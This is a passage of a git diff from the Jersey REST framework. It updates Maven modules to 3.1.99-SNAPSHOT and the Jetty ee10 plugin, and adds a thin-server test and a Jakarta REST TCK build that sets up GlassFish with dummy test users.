- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/spring6/pom.xml b/tests/integration/spring6/pom.xml
index 13a7804..b393d54 100644
--- a/tests/integration/spring6/pom.xml
+++ b/tests/integration/spring6/pom.xml
@@ -25,7 +25,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>spring6</artifactId>
@@ -50,7 +50,7 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ <version>${servlet6.version}</version>
<scope>provided</scope>
</dependency>
@@ -133,9 +133,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
- <version>11.0.14</version>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<configuration>
<webApp>
<contextPath>/</contextPath>
diff --git a/tests/integration/thin-server/pom.xml b/tests/integration/thin-server/pom.xml
new file mode 100644
index 0000000..d4cbaa8
--- /dev/null
+++ b/tests/integration/thin-server/pom.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+ Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <parent>
+ <artifactId>project</artifactId>
+ <groupId>org.glassfish.jersey.tests.integration</groupId>
+ <version>3.1.99-SNAPSHOT</version>
+ </parent>
+ <modelVersion>4.0.0</modelVersion>
+
+ <artifactId>thin-server</artifactId>
+ <name>jersey-thin-server</name>
+ <description>
+ Run server without HTTP stack in tests.
+ </description>
+
+ <dependencies>
+ <dependency>
+ <groupId>org.glassfish.jersey.core</groupId>
+ <artifactId>jersey-common</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.core</groupId>
+ <artifactId>jersey-server</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.core</groupId>
+ <artifactId>jersey-client</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.test-framework</groupId>
+ <artifactId>jersey-test-framework-util</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.junit.jupiter</groupId>
+ <artifactId>junit-jupiter-api</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.hamcrest</groupId>
+ <artifactId>hamcrest</artifactId>
+ <scope>test</scope>
+ </dependency>
+ </dependencies>
+
+</project>
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/tests/integration/thin-server/src/main/java/org.glassfish.jersey.integration.thinserver/ThinServerResource.java
similarity index 65%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to tests/integration/thin-server/src/main/java/org.glassfish.jersey.integration.thinserver/ThinServerResource.java
index dd25372..9cb3cb7 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/tests/integration/thin-server/src/main/java/org.glassfish.jersey.integration.thinserver/ThinServerResource.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,16 @@
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
-package org.glassfish.jersey.internal.jsr166;
+package org.glassfish.jersey.integration.thinserver;
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+
+@Path("/")
+public class ThinServerResource {
+ @GET
+ @Path("someget")
+ public String get() {
+ return ThinServerResource.class.getName();
+ }
}
diff --git a/tests/integration/thin-server/src/test/java/org/glassfish/jersey/integration/thinserver/ThinServerTest.java b/tests/integration/thin-server/src/test/java/org/glassfish/jersey/integration/thinserver/ThinServerTest.java
new file mode 100644
index 0000000..d3b9916
--- /dev/null
+++ b/tests/integration/thin-server/src/test/java/org/glassfish/jersey/integration/thinserver/ThinServerTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.integration.thinserver;
+
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.message.internal.OutboundJaxrsResponse;
+import org.glassfish.jersey.message.internal.OutboundMessageContext;
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.util.server.ContainerRequestBuilder;
+import org.junit.jupiter.api.Test;
+
+import java.net.URI;
+import java.util.concurrent.ExecutionException;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ThinServerTest {
+ @Test
+ public void testGet() throws ExecutionException, InterruptedException {
+ ContainerRequest request =
+ ContainerRequestBuilder.from(URI.create("/someget"), HttpMethod.GET, new ClientConfig()).build();
+
+ ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(ThinServerResource.class));
+ ContainerResponse containerResponse = applicationHandler.apply(request).get();
+ OutboundMessageContext outboundMessageContext = containerResponse.getWrappedMessageContext();
+ Response response = new OutboundJaxrsResponse(containerResponse.getStatusInfo(), outboundMessageContext);
+ assertEquals(ThinServerResource.class.getName(), response.getEntity());
+ }
+}
diff --git a/tests/integration/tracing-support/pom.xml b/tests/integration/tracing-support/pom.xml
index ac13ede..a7e5a9c 100644
--- a/tests/integration/tracing-support/pom.xml
+++ b/tests/integration/tracing-support/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>tracing-support</artifactId>
@@ -63,15 +63,16 @@
</configuration>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
- <version>${jetty.version}</version>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<configuration>
- <connectors>
- <connector>
- <responseHeaderSize>16192</responseHeaderSize>
- </connector>
- </connectors>
+ <httpConnector combine.self="override"/>
+ <jettyXmls>
+ <jettyXml>${basedir}/src/test/resources/jetty.xml</jettyXml>
+ </jettyXmls>
+ <systemProperties>
+ <RESPONSE_HEADER_SIZE>16192</RESPONSE_HEADER_SIZE>
+ </systemProperties>
<!-- server side config does not fork with jetty:run goal - it uses same jvm
use maven '-D' option instead:
mvn _goal_ -Djava.util.logging.config.file=target/test-classes/logging.properties
diff --git a/tests/integration/tracing-support/src/test/resources/jetty.xml b/tests/integration/tracing-support/src/test/resources/jetty.xml
new file mode 100644
index 0000000..dc8582c
--- /dev/null
+++ b/tests/integration/tracing-support/src/test/resources/jetty.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0"?>
+<!--
+
+ Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
+
+<Configure id="Server" class="org.eclipse.jetty.server.Server">
+ <New id="HttpConfig" class="org.eclipse.jetty.server.HttpConfiguration">
+ <Set name="responseHeaderSize"><SystemProperty name="RESPONSE_HEADER_SIZE"/></Set>
+ </New>
+
+ <Call name="addConnector">
+ <Arg>
+ <New class="org.eclipse.jetty.server.ServerConnector">
+ <Arg name="server"><Ref refid="Server" /></Arg>
+ <Arg name="factories">
+ <Array type="org.eclipse.jetty.server.ConnectionFactory">
+ <Item>
+ <New class="org.eclipse.jetty.server.HttpConnectionFactory">
+ <Arg name="config"><Ref refid="HttpConfig" /></Arg>
+ </New>
+ </Item>
+ </Array>
+ </Arg>
+ <Set name="port"><SystemProperty name="PORT"/></Set>
+ <Set name="idleTimeout"><SystemProperty name="IDLE_TIMEOUT"/></Set>
+ </New>
+ </Arg>
+ </Call>
+</Configure>
\ No newline at end of file
diff --git a/tests/jersey-tck/README.md b/tests/jersey-tck/README.md
new file mode 100644
index 0000000..2457e01
--- /dev/null
+++ b/tests/jersey-tck/README.md
@@ -0,0 +1,15 @@
+# Jakarta REST TCK
+
+The **Jakarta REST TCK** is a standalone kit for testing compliance of an implementation with the Jakarta REST specification.
+
+
+## Performing Test
+
+While the test kit *is not dependent* of Maven, the most easy way to perform the tests is to create a copy of the sample Maven project found in the `jersey-tck` folder and adjust it to the actual needs of the implementation to be actually tested:
+* Replace the dependency to Jersey by a dependency to the implementation to be actually tested.
+* Execute `mvn verify`.
+* Find the test result as part of Maven's output on the console or refer to the surefire reports.
+
+**Note:** Certainly the same can be performed using *other* build tools, like Gradle, or even by running a standalone Jupiter API compatible test runner (e. g. JUnit 5 Console Runner), as long as the Jakarta REST TCK JAR file and the implementation to test are both found on the classpath.
+
+**Hint:** The test project can safely get stored as part of the implementation, so it can be easily executed as part of the QA process.
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/tests/jersey-tck/j2ee.pass
similarity index 75%
copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
copy to tests/jersey-tck/j2ee.pass
index 2886c72..7cd0e34 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/tests/jersey-tck/j2ee.pass
@@ -1,5 +1,5 @@
#
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
#
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License v. 2.0, which is available at
@@ -13,6 +13,4 @@
#
# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
#
-
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+AS_ADMIN_USERPASSWORD=j2ee
\ No newline at end of file
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/tests/jersey-tck/javajoe.pass
similarity index 75%
copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
copy to tests/jersey-tck/javajoe.pass
index 2886c72..f06be72 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/tests/jersey-tck/javajoe.pass
@@ -1,5 +1,5 @@
#
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
#
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License v. 2.0, which is available at
@@ -13,6 +13,4 @@
#
# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
#
-
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+AS_ADMIN_USERPASSWORD=javajoe
\ No newline at end of file
diff --git a/tests/jersey-tck/pom.xml b/tests/jersey-tck/pom.xml
new file mode 100644
index 0000000..0cd9ffd
--- /dev/null
+++ b/tests/jersey-tck/pom.xml
@@ -0,0 +1,545 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!--
+
+ Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <modelVersion>4.0.0</modelVersion>
+
+ <groupId>org.glassfish.jersey.core</groupId>
+ <artifactId>jersey-tck</artifactId>
+ <version>3.1.0</version>
+ <packaging>jar</packaging>
+
+ <name>Jakarta RESTful WS Compliance for Jersey</name>
+ <description>This test verifies the compliance of Eclipse Jersey with Jakarta REST</description>
+
+ <properties>
+ <maven.compiler.source>11</maven.compiler.source>
+ <maven.compiler.target>11</maven.compiler.target>
+ <jersey.version>3.1.2</jersey.version> <!-- the public version that pass the tck -->
+ <glassfish.container.version>7.0.4</glassfish.container.version>
+ <glassfish.home>${project.build.directory}/glassfish7</glassfish.home>
+ <jakarta.platform.version>10.0.0</jakarta.platform.version>
+ <junit.jupiter.version>5.7.2</junit.jupiter.version>
+ <jakarta.rest.version>3.1.0</jakarta.rest.version>
+ <tck.artifactId>jakarta-restful-ws-tck</tck.artifactId>
+ <tck.version>3.1.3</tck.version>
+ </properties>
+
+ <dependencyManagement>
+ <dependencies>
+ <dependency>
+ <groupId>org.junit</groupId>
+ <artifactId>junit-bom</artifactId>
+ <version>${junit.jupiter.version}</version>
+ <type>pom</type>
+ <scope>import</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey</groupId>
+ <artifactId>jersey-bom</artifactId>
+ <version>${jersey.version}</version>
+ <type>pom</type>
+ <scope>import</scope>
+ </dependency>
+ </dependencies>
+ </dependencyManagement>
+
+ <repositories>
+ <repository>
+ <id>jakarta-snapshots</id>
+ <url>https://jakarta.oss.sonatype.org/content/repositories/staging/</url>
+ </repository>
+ </repositories>
+
+ <dependencies>
+ <dependency>
+ <groupId>org.junit.jupiter</groupId>
+ <artifactId>junit-jupiter</artifactId>
+ <version>${junit.jupiter.version}</version>
+ </dependency>
+
+ <dependency>
+ <groupId>org.glassfish.hk2</groupId>
+ <artifactId>hk2-locator</artifactId>
+ <version>3.0.0</version>
+ </dependency>
+
+ <dependency>
+ <groupId>com.sun.xml.bind</groupId>
+ <artifactId>jaxb-impl</artifactId>
+ <version>3.0.0</version>
+ <scope>runtime</scope>
+ </dependency>
+
+ <dependency>
+ <groupId>org.jboss.arquillian.container</groupId>
+ <artifactId>arquillian-glassfish-managed-6</artifactId>
+ <version>1.0.0.Alpha1</version>
+ </dependency>
+
+ <dependency>
+ <groupId>jakarta.ws.rs</groupId>
+ <artifactId>${tck.artifactId}</artifactId>
+ <version>${tck.version}</version>
+ <scope>test</scope>
+ </dependency>
+
+ <dependency>
+ <groupId>jakarta.ws.rs</groupId>
+ <artifactId>jakarta.ws.rs-api</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ </dependency>
+
+ <dependency>
+ <groupId>org.hamcrest</groupId>
+ <artifactId>hamcrest</artifactId>
+ <version>2.2</version>
+ <scope>test</scope>
+ </dependency>
+
+ <dependency>
+ <groupId>org.glassfish.main.common</groupId>
+ <artifactId>simple-glassfish-api</artifactId>
+ <version>${glassfish.container.version}</version>
+ </dependency>
+
+ <dependency>
+ <groupId>org.jboss.arquillian.junit5</groupId>
+ <artifactId>arquillian-junit5-container</artifactId>
+ <version>1.7.0.Alpha10</version>
+ </dependency>
+
+ <dependency>
+ <groupId>jakarta.platform</groupId>
+ <artifactId>jakarta.jakartaee-api</artifactId>
+ <version>${jakarta.platform.version}</version>
+ <scope>provided</scope>
+ </dependency>
+
+ <dependency>
+ <groupId>commons-httpclient</groupId>
+ <artifactId>commons-httpclient</artifactId>
+ <version>3.1</version>
+ </dependency>
+
+ <dependency>
+ <groupId>org.glassfish.jersey.core</groupId>
+ <artifactId>jersey-server</artifactId>
+ <version>${jersey.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-grizzly2-http</artifactId>
+ <version>${jersey.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.netbeans.tools</groupId>
+ <artifactId>sigtest-maven-plugin</artifactId>
+ <version>1.4</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-json-binding</artifactId>
+ <version>${jersey.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-jaxb</artifactId>
+ <version>${jersey.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-sse</artifactId>
+ <version>${jersey.version}</version>
+ <scope>test</scope>
+ </dependency>
+
+ </dependencies>
+
+
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-dependency-plugin</artifactId>
+ <version>3.2.0</version>
+ <executions>
+ <execution>
+ <id>unpack</id>
+ <phase>pre-integration-test</phase>
+ <goals>
+ <goal>unpack</goal>
+ </goals>
+ <configuration>
+ <artifactItems>
+ <artifactItem>
+ <groupId>org.glassfish.main.distributions</groupId>
+ <artifactId>glassfish</artifactId>
+ <version>${glassfish.container.version}</version>
+ <type>zip</type>
+ <overWrite>false</overWrite>
+ <outputDirectory>${project.build.directory}</outputDirectory>
+ </artifactItem>
+ </artifactItems>
+ </configuration>
+ </execution>
+ <execution>
+ <id>copy</id>
+ <phase>pre-integration-test</phase>
+ <goals>
+ <goal>copy</goal>
+ </goals>
+ <configuration>
+ <artifactItems>
+ <artifactItem>
+ <groupId>org.glassfish.jersey.core</groupId>
+ <artifactId>jersey-client</artifactId>
+ <version>${jersey.version}</version>
+ <type>jar</type>
+ <overWrite>true</overWrite>
+ <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+ <destFileName>jersey-client.jar</destFileName>
+ </artifactItem>
+ <artifactItem>
+ <groupId>org.glassfish.jersey.core</groupId>
+ <artifactId>jersey-server</artifactId>
+ <version>${jersey.version}</version>
+ <type>jar</type>
+ <overWrite>true</overWrite>
+ <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+ <destFileName>jersey-server.jar</destFileName>
+ </artifactItem>
+ <artifactItem>
+ <groupId>org.glassfish.jersey.core</groupId>
+ <artifactId>jersey-common</artifactId>
+ <version>${jersey.version}</version>
+ <type>jar</type>
+ <overWrite>true</overWrite>
+ <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+ <destFileName>jersey-common.jar</destFileName>
+ </artifactItem>
+ <artifactItem>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-grizzly2-http</artifactId>
+ <version>${jersey.version}</version>
+ <type>jar</type>
+ <overWrite>true</overWrite>
+ <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+ <destFileName>jersey-container-grizzly2-http.jar</destFileName>
+ </artifactItem>
+ <artifactItem>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-servlet-core</artifactId>
+ <version>${jersey.version}</version>
+ <type>jar</type>
+ <overWrite>true</overWrite>
+ <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+ <destFileName>jersey-container-servlet-core.jar</destFileName>
+ </artifactItem>
+ <artifactItem>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-servlet</artifactId>
+ <version>${jersey.version}</version>
+ <type>jar</type>
+ <overWrite>true</overWrite>
+ <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+ <destFileName>jersey-container-servlet.jar</destFileName>
+ </artifactItem>
+ <artifactItem>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-sse</artifactId>
+ <version>${jersey.version}</version>
+ <type>jar</type>
+ <overWrite>true</overWrite>
+ <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+ <destFileName>jersey-media-sse.jar</destFileName>
+ </artifactItem>
+ <artifactItem>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-json-binding</artifactId>
+ <version>${jersey.version}</version>
+ <type>jar</type>
+ <overWrite>true</overWrite>
+ <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+ <destFileName>jersey-media-json-binding.jar</destFileName>
+ </artifactItem>
+ <artifactItem>
+ <groupId>jakarta.ws.rs</groupId>
+ <artifactId>jakarta.ws.rs-api</artifactId>
+ <version>${jakarta.rest.version}</version>
+ <type>jar</type>
+ <overWrite>true</overWrite>
+ <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+ <destFileName>jakarta.ws.rs-api.jar</destFileName>
+ </artifactItem>
+ </artifactItems>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
+ <plugin>
+ <artifactId>exec-maven-plugin</artifactId>
+ <groupId>org.codehaus.mojo</groupId>
+ <executions>
+ <execution>
+ <id>StopDomain1</id>
+ <phase>pre-integration-test</phase>
+ <goals>
+ <goal>exec</goal>
+ </goals>
+ <configuration>
+ <workingDirectory>${asadmin.home}</workingDirectory>
+ <executable>${asadmin}</executable>
+ <arguments>
+ <argument>stop-domain</argument>
+ </arguments>
+ </configuration>
+ </execution>
+ <execution>
+ <id>StartDomain1</id>
+ <phase>pre-integration-test</phase>
+ <goals>
+ <goal>exec</goal>
+ </goals>
+ <configuration>
+ <workingDirectory>${asadmin.home}</workingDirectory>
+ <executable>${asadmin}</executable>
+ <arguments>
+ <argument>start-domain</argument>
+ </arguments>
+ </configuration>
+ </execution>
+ <execution>
+ <id>Enable Trace requests</id>
+ <phase>pre-integration-test</phase>
+ <goals>
+ <goal>exec</goal>
+ </goals>
+ <configuration>
+ <workingDirectory>${asadmin.home}</workingDirectory>
+ <executable>${asadmin}</executable>
+ <arguments>
+ <argument>set</argument>
+ <argument>server-config.network-config.protocols.protocol.http-listener-1.http.trace-enabled=true</argument>
+ </arguments>
+ </configuration>
+ </execution>
+ <execution>
+ <id>Delete User j2ee</id>
+ <phase>pre-integration-test</phase>
+ <goals>
+ <goal>exec</goal>
+ </goals>
+ <configuration>
+ <workingDirectory>${asadmin.home}</workingDirectory>
+ <executable>${asadmin}</executable>
+ <arguments>
+ <argument>--passwordfile</argument>
+ <argument>${project.basedir}/j2ee.pass</argument>
+ <argument>delete-file-user</argument>
+ <argument>j2ee</argument>
+ </arguments>
+ <successCodes>
+ <successCode>0</successCode>
+ <successCode>1</successCode>
+ </successCodes>
+ </configuration>
+ </execution>
+ <execution>
+ <id>Add User j2ee</id>
+ <phase>pre-integration-test</phase>
+ <goals>
+ <goal>exec</goal>
+ </goals>
+ <configuration>
+ <workingDirectory>${asadmin.home}</workingDirectory>
+ <executable>${asadmin}</executable>
+ <arguments>
+ <argument>--passwordfile</argument>
+ <argument>${project.basedir}/j2ee.pass</argument>
+ <argument>create-file-user</argument>
+ <argument>--groups</argument>
+ <argument>staff:mgr</argument>
+ <argument>j2ee</argument>
+ </arguments>
+ </configuration>
+ </execution>
+ <execution>
+ <id>Delete User javajoe</id>
+ <phase>pre-integration-test</phase>
+ <goals>
+ <goal>exec</goal>
+ </goals>
+ <configuration>
+ <workingDirectory>${asadmin.home}</workingDirectory>
+ <executable>${asadmin}</executable>
+ <arguments>
+ <argument>--passwordfile</argument>
+ <argument>${project.basedir}/javajoe.pass</argument>
+ <argument>delete-file-user</argument>
+ <argument>javajoe</argument>
+ </arguments>
+ <successCodes>
+ <successCode>0</successCode>
+ <successCode>1</successCode>
+ </successCodes>
+ </configuration>
+ </execution>
+ <execution>
+ <id>Add User javajoe</id>
+ <phase>pre-integration-test</phase>
+ <goals>
+ <goal>exec</goal>
+ </goals>
+ <configuration>
+ <workingDirectory>${asadmin.home}</workingDirectory>
+ <executable>${asadmin}</executable>
+ <arguments>
+ <argument>--passwordfile</argument>
+ <argument>${project.basedir}/javajoe.pass</argument>
+ <argument>create-file-user</argument>
+ <argument>--groups</argument>
+ <argument>guest</argument>
+ <argument>javajoe</argument>
+ </arguments>
+ </configuration>
+ </execution>
+ <execution>
+ <id>list users</id>
+ <phase>pre-integration-test</phase>
+ <goals>
+ <goal>exec</goal>
+ </goals>
+ <configuration>
+ <workingDirectory>${asadmin.home}</workingDirectory>
+ <executable>${asadmin}</executable>
+ <arguments>
+ <argument>list-file-users</argument>
+ </arguments>
+ </configuration>
+ </execution>
+ <execution>
+ <id>StopDomain</id>
+ <phase>pre-integration-test</phase>
+ <goals>
+ <goal>exec</goal>
+ </goals>
+ <configuration>
+ <workingDirectory>${asadmin.home}</workingDirectory>
+ <executable>${asadmin}</executable>
+ <arguments>
+ <argument>stop-domain</argument>
+ </arguments>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
+
+ <plugin>
+ <artifactId>maven-failsafe-plugin</artifactId>
+ <version>3.0.0-M5</version>
+ <executions>
+ <execution>
+ <id>gf-tests</id>
+ <goals>
+ <goal>integration-test</goal>
+ <goal>verify</goal>
+ </goals>
+ <configuration>
+ <excludes>
+ <exclude>**/SeBootstrapIT.java</exclude>
+ </excludes>
+ <skipTests>false</skipTests> <!-- Do not skip when the jersey-tck profile is on -->
+ <dependenciesToScan>jakarta.ws.rs:${tck.artifactId}</dependenciesToScan>
+ <systemPropertyVariables>
+ <GLASSFISH_HOME>${glassfish.home}</GLASSFISH_HOME>
+ <servlet_adaptor>org.glassfish.jersey.servlet.ServletContainer</servlet_adaptor>
+ <webServerHost>localhost</webServerHost>
+ <webServerPort>8080</webServerPort>
+ <junit.log.traceflag>true</junit.log.traceflag>
+ <user>j2ee</user>
+ <password>j2ee</password>
+ <authuser>javajoe</authuser>
+ <authpassword>javajoe</authpassword>
+ <porting.ts.url.class.1>ee.jakarta.tck.ws.rs.lib.implementation.sun.common.SunRIURL</porting.ts.url.class.1>
+ <jimage.dir>${project.build.directory}/jdk11-bundle</jimage.dir>
+ <optional.tech.packages.to.ignore>jakarta.xml.bind</optional.tech.packages.to.ignore>
+ <signature.sigTestClasspath>${glassfish.home}/glassfish/modules/jakarta.ws.rs-api.jar:${glassfish.home}/glassfish/modules/jakarta.xml.bind-api.jar:${project.build.directory}/jdk11-bundle/java.base:${project.build.directory}/jdk11-bundle/java.rmi:${project.build.directory}/jdk11-bundle/java.sql:${project.build.directory}/jdk11-bundle/java.naming</signature.sigTestClasspath>
+ </systemPropertyVariables>
+ <environmentVariables>
+ <GLASSFISH_HOME>${glassfish.home}</GLASSFISH_HOME>
+ </environmentVariables>
+ </configuration>
+ </execution>
+ <execution>
+ <id>se-tests</id>
+ <goals>
+ <goal>integration-test</goal>
+ <goal>verify</goal>
+ </goals>
+ <configuration>
+ <skipTests>false</skipTests> <!-- Do not skip when the jersey-tck profile is on -->
+ <includes>
+ <include>**/SeBootstrapIT.java</include>
+ </includes>
+ <dependenciesToScan>jakarta.ws.rs:${tck.artifactId}</dependenciesToScan>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
+ </plugins>
+ </build>
+ <profiles>
+ <profile>
+ <id>onLinux</id>
+ <activation>
+ <os>
+ <family>unix</family>
+ </os>
+ </activation>
+ <properties>
+ <asadmin.home>${basedir}</asadmin.home>
+ <asadmin>${glassfish.home}/glassfish/bin/asadmin</asadmin>
+ </properties>
+ </profile>
+ <profile>
+ <id>onWindows</id>
+ <activation>
+ <os>
+ <family>Windows</family>
+ </os>
+ </activation>
+ <properties>
